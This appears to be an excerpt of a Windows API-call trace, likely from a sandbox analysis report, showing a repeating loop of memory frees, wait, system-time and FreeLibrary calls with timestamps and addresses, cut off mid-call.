[0227.481] free (_Block=0x20abc2abc20) [0227.481] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x435c7951, dwHighDateTime=0x1d9eb0c)) [0227.495] free (_Block=0x20abc281d40) [0227.496] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.496] free (_Block=0x20abc284e70) [0227.497] free (_Block=0x20abc2ac170) [0227.497] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x436d264d, dwHighDateTime=0x1d9eb0c)) [0227.603] free (_Block=0x20abc281c80) [0227.603] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.605] free (_Block=0x20abc284e70) [0227.605] free (_Block=0x20abc27cf80) [0227.606] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x436f89a9, dwHighDateTime=0x1d9eb0c)) [0227.614] free (_Block=0x20abc2819a0) [0227.614] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.615] free (_Block=0x20abc284e70) [0227.615] free (_Block=0x20abc27cf80) [0227.616] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x436f89a9, dwHighDateTime=0x1d9eb0c)) [0227.625] free (_Block=0x20abc281ec0) [0227.625] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.626] free (_Block=0x20abc284e70) [0227.627] free (_Block=0x20abc27cf80) [0227.627] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x438038b6, dwHighDateTime=0x1d9eb0c)) [0227.721] free (_Block=0x20abc281c80) [0227.722] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.722] free (_Block=0x20abc284e70) [0227.723] free (_Block=0x20abc2ac080) [0227.723] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x438038b6, dwHighDateTime=0x1d9eb0c)) [0227.731] free (_Block=0x20abc282060) [0227.731] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.732] free (_Block=0x20abc284e70) [0227.733] free (_Block=0x20abc27cf80) [0227.733] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43829f80, dwHighDateTime=0x1d9eb0c)) [0227.741] free (_Block=0x20abc2819a0) [0227.741] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.742] free (_Block=0x20abc284e70) [0227.742] free (_Block=0x20abc27cf80) [0227.743] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43829f80, dwHighDateTime=0x1d9eb0c)) [0227.749] free (_Block=0x20abc281b00) [0227.750] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.750] free (_Block=0x20abc284e70) [0227.751] free (_Block=0x20abc27cf80) [0227.752] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43850087, dwHighDateTime=0x1d9eb0c)) [0227.765] free (_Block=0x20abc281bc0) [0227.765] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.766] free (_Block=0x20abc284e70) [0227.766] free (_Block=0x20abc27cf80) [0227.767] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x439a7388, dwHighDateTime=0x1d9eb0c)) [0227.895] free (_Block=0x20abc281b20) [0227.895] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.896] free (_Block=0x20abc284e70) [0227.897] free (_Block=0x20abc27cf80) [0227.897] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x439a7388, dwHighDateTime=0x1d9eb0c)) [0227.906] free (_Block=0x20abc282060) [0227.906] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.907] free (_Block=0x20abc284e70) [0228.068] free (_Block=0x20abc27cf80) [0228.068] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43b4ad2f, dwHighDateTime=0x1d9eb0c)) [0228.077] free (_Block=0x20abc281a80) [0228.077] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.078] free (_Block=0x20abc284e70) [0228.078] free (_Block=0x20abc27cf80) [0228.079] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43b71276, dwHighDateTime=0x1d9eb0c)) [0228.089] free (_Block=0x20abc282020) [0228.090] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.090] free (_Block=0x20abc284e70) [0228.091] free (_Block=0x20abc27cb20) [0228.091] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43ca21f8, dwHighDateTime=0x1d9eb0c)) [0228.209] free (_Block=0x20abc2819c0) [0228.210] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.211] free (_Block=0x20abc284e70) [0228.212] free (_Block=0x20abc27cb20) [0228.212] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43cc8a21, dwHighDateTime=0x1d9eb0c)) [0228.224] free (_Block=0x20abc281d80) [0228.225] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.225] free (_Block=0x20abc284e70) [0228.226] free (_Block=0x20abc27cf80) [0228.226] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43cee660, dwHighDateTime=0x1d9eb0c)) [0228.239] free (_Block=0x20abc281f60) [0228.239] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.240] free (_Block=0x20abc284e70) [0228.240] free (_Block=0x20abc27cb20) [0228.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43cee660, dwHighDateTime=0x1d9eb0c)) [0228.247] free (_Block=0x20abc281e00) [0228.247] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.248] free (_Block=0x20abc284e70) [0228.249] free (_Block=0x20abc27cf80) [0228.249] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43df975e, dwHighDateTime=0x1d9eb0c)) [0228.347] free (_Block=0x20abc281f20) [0228.347] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.348] free (_Block=0x20abc284e70) [0228.348] free (_Block=0x20abc27cb20) [0228.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43df975e, dwHighDateTime=0x1d9eb0c)) [0228.356] free (_Block=0x20abc281c00) [0228.356] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.357] free (_Block=0x20abc284e70) [0228.358] free (_Block=0x20abc27cf80) [0228.358] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43e21d2e, dwHighDateTime=0x1d9eb0c)) [0228.371] free (_Block=0x20abc281ac0) [0228.371] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.372] free (_Block=0x20abc284e70) [0228.373] free (_Block=0x20abc27cf80) [0228.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43e460e7, dwHighDateTime=0x1d9eb0c)) [0228.382] free (_Block=0x20abc281fc0) [0228.382] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.383] free (_Block=0x20abc284e70) [0228.383] free (_Block=0x20abc27cf80) [0228.384] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43f76eba, dwHighDateTime=0x1d9eb0c)) [0228.504] free (_Block=0x20abc281ba0) [0228.505] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.506] free (_Block=0x20abc284e70) [0228.507] free (_Block=0x20abc27cf80) [0228.507] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43f9d040, dwHighDateTime=0x1d9eb0c)) [0228.523] free (_Block=0x20abc281e00) [0228.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.523] free (_Block=0x20abc284e70) [0228.524] free (_Block=0x20abc27cf80) [0228.524] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43fc35e5, dwHighDateTime=0x1d9eb0c)) [0228.534] free (_Block=0x20abc281e80) [0228.535] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.536] free (_Block=0x20abc284e70) [0228.537] free (_Block=0x20abc27cb20) [0228.537] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x440e355f, dwHighDateTime=0x1d9eb0c)) [0228.652] free (_Block=0x20abc281f20) [0228.653] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.653] free (_Block=0x20abc284e70) [0228.654] free (_Block=0x20abc27cb20) [0228.654] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44109b53, dwHighDateTime=0x1d9eb0c)) [0228.667] free (_Block=0x20abc281de0) [0228.667] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.668] free (_Block=0x20abc284e70) [0228.669] free (_Block=0x20abc2ab810) [0228.669] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4412fe6e, dwHighDateTime=0x1d9eb0c)) [0228.689] free (_Block=0x20abc281b00) [0228.689] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.689] free (_Block=0x20abc284e70) [0228.690] free (_Block=0x20abc2ac0d0) [0228.691] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4423ab19, dwHighDateTime=0x1d9eb0c)) [0228.793] free (_Block=0x20abc2820a0) [0228.794] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.794] free (_Block=0x20abc284e70) [0228.795] free (_Block=0x20abc27cb20) [0228.795] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4423ab19, dwHighDateTime=0x1d9eb0c)) [0228.803] free (_Block=0x20abc281b00) [0228.803] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.804] free (_Block=0x20abc284e70) [0228.805] free (_Block=0x20abc27cb20) [0228.805] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44260c7e, dwHighDateTime=0x1d9eb0c)) [0228.814] free (_Block=0x20abc281c00) [0228.815] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.815] free (_Block=0x20abc284e70) [0228.816] free (_Block=0x20abc27cb20) [0228.816] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44286f89, dwHighDateTime=0x1d9eb0c)) [0228.828] free (_Block=0x20abc281c80) [0228.828] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.829] free (_Block=0x20abc284e70) [0228.829] free (_Block=0x20abc27cb20) [0228.829] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44286f89, dwHighDateTime=0x1d9eb0c)) [0228.836] free (_Block=0x20abc281e60) [0228.836] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.836] free (_Block=0x20abc284e70) [0228.837] free (_Block=0x20abc27cb20) [0228.837] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x443b81d5, dwHighDateTime=0x1d9eb0c)) [0228.961] free (_Block=0x20abc282080) [0228.961] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.962] free (_Block=0x20abc284e70) [0228.963] free (_Block=0x20abc27cb20) [0228.963] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x443de65a, dwHighDateTime=0x1d9eb0c)) [0228.970] free (_Block=0x20abc282020) [0228.970] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.970] free (_Block=0x20abc284e70) [0228.971] free (_Block=0x20abc27cb20) [0228.971] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4440472d, dwHighDateTime=0x1d9eb0c)) [0228.980] free (_Block=0x20abc281ce0) [0228.980] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.980] free (_Block=0x20abc284e70) [0228.981] free (_Block=0x20abc27cb20) [0228.981] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4440472d, dwHighDateTime=0x1d9eb0c)) [0228.988] free (_Block=0x20abc281ce0) [0228.989] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0228.989] free (_Block=0x20abc284e70) [0228.990] free (_Block=0x20abc27cb20) [0228.990] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4442ad05, dwHighDateTime=0x1d9eb0c)) [0228.999] free (_Block=0x20abc281e60) [0229.000] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.000] free (_Block=0x20abc284e70) [0229.001] free (_Block=0x20abc27cb20) [0229.002] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x445a815b, dwHighDateTime=0x1d9eb0c)) [0229.154] free (_Block=0x20abc281ec0) [0229.154] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.155] free (_Block=0x20abc284e70) [0229.156] free (_Block=0x20abc2ab450) [0229.156] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x445a815b, dwHighDateTime=0x1d9eb0c)) [0229.162] free (_Block=0x20abc281ee0) [0229.162] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.163] free (_Block=0x20abc284e70) [0229.164] free (_Block=0x20abc27cb20) [0229.164] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x445ce479, dwHighDateTime=0x1d9eb0c)) [0229.171] free (_Block=0x20abc281c20) [0229.171] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.171] free (_Block=0x20abc284e70) [0229.172] free (_Block=0x20abc27cb20) [0229.172] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x445ce479, dwHighDateTime=0x1d9eb0c)) [0229.179] free (_Block=0x20abc282020) [0229.179] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.179] free (_Block=0x20abc284e70) [0229.180] free (_Block=0x20abc27cb20) [0229.180] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x445f4525, dwHighDateTime=0x1d9eb0c)) [0229.190] free (_Block=0x20abc281a80) [0229.191] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.191] free (_Block=0x20abc284e70) [0229.192] free (_Block=0x20abc27cb20) [0229.193] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44700b5e, dwHighDateTime=0x1d9eb0c)) [0229.296] free (_Block=0x20abc282040) [0229.296] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.296] free (_Block=0x20abc284e70) [0229.297] free (_Block=0x20abc27cb20) [0229.297] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44700b5e, dwHighDateTime=0x1d9eb0c)) [0229.306] free (_Block=0x20abc281d20) [0229.306] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.307] free (_Block=0x20abc284e70) [0229.308] free (_Block=0x20abc27cb20) [0229.308] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44725849, dwHighDateTime=0x1d9eb0c)) [0229.315] free (_Block=0x20abc281f60) [0229.316] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.316] free (_Block=0x20abc284e70) [0229.317] free (_Block=0x20abc27cb20) [0229.317] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4474cea4, dwHighDateTime=0x1d9eb0c)) [0229.328] free (_Block=0x20abc281ec0) [0229.328] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.328] free (_Block=0x20abc284e70) [0229.329] free (_Block=0x20abc27cb20) [0229.329] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44856b6f, dwHighDateTime=0x1d9eb0c)) [0229.433] free (_Block=0x20abc2819a0) [0229.434] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.434] free (_Block=0x20abc284e70) [0229.436] free (_Block=0x20abc27cb20) [0229.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44856b6f, dwHighDateTime=0x1d9eb0c)) [0229.448] free (_Block=0x20abc281e00) [0229.449] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.449] free (_Block=0x20abc284e70) [0229.450] free (_Block=0x20abc27cb20) [0229.450] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x448a312e, dwHighDateTime=0x1d9eb0c)) [0229.467] free (_Block=0x20abc281e60) [0229.468] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.468] free (_Block=0x20abc284e70) [0229.469] free (_Block=0x20abc27cb20) [0229.470] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x448a312e, dwHighDateTime=0x1d9eb0c)) [0229.476] free (_Block=0x20abc281a80) [0229.476] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.477] free (_Block=0x20abc284e70) [0229.477] free (_Block=0x20abc27cb20) [0229.477] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x449d4c88, dwHighDateTime=0x1d9eb0c)) [0229.596] free (_Block=0x20abc281ec0) [0229.596] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.597] free (_Block=0x20abc284e70) [0229.597] free (_Block=0x20abc27cb20) [0229.598] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x449fa5ab, dwHighDateTime=0x1d9eb0c)) [0229.605] free (_Block=0x20abc281d20) [0229.606] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.606] free (_Block=0x20abc284e70) [0229.607] free (_Block=0x20abc27cb20) [0229.607] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x449fa5ab, dwHighDateTime=0x1d9eb0c)) [0229.619] free (_Block=0x20abc281b00) [0229.620] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.620] free (_Block=0x20abc284e70) [0229.621] free (_Block=0x20abc27cb20) [0229.621] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44a2069f, dwHighDateTime=0x1d9eb0c)) [0229.628] free (_Block=0x20abc281e40) [0229.628] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.629] free (_Block=0x20abc284e70) [0229.630] free (_Block=0x20abc27cb20) [0229.630] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.685] GetSystemTimeAsFileTime (in: 